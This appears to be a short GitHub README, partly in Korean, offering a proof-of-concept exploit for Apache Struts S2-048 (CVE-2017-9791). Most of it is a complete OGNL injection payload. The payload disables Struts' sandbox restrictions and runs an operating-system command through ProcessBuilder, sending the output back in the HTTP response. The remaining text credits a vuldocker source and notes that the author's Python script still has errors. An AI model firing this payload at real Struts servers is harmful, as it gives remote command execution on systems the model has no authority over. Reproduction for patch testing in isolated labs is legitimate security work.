iansmith123/s2-048Apache struts struts 2 048, CVE-2017-9791.
s2-048, CVE-2017-9791에 대한 익스플로잇입니다.
______ _______ ____ ___ _ _____ ___ _____ ___ _
/ ___\ \ / / ____| |___ \ / _ \/ |___ | / _ \___ / _ \/ |
| | \ \ / /| _| _____ __) | | | | | / /___| (_) | / / (_) | |
| |___ \ V / | |__|_____/ __/| |_| | | / /_____\__, |/ / \__, | |
\____| \_/ |_____| |_____|\___/|_|/_/ /_//_/ /_/|_|
poc:
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
이 poc는 https://github.com/Loneyers/vuldocker/tree/master/struts2/s2-048 에서 가져온 것입니다. Docker를 구축하여 동일한 결과를 얻었지만, 파이썬 스크립트에는 여전히 몇 가지 오류가 있습니다.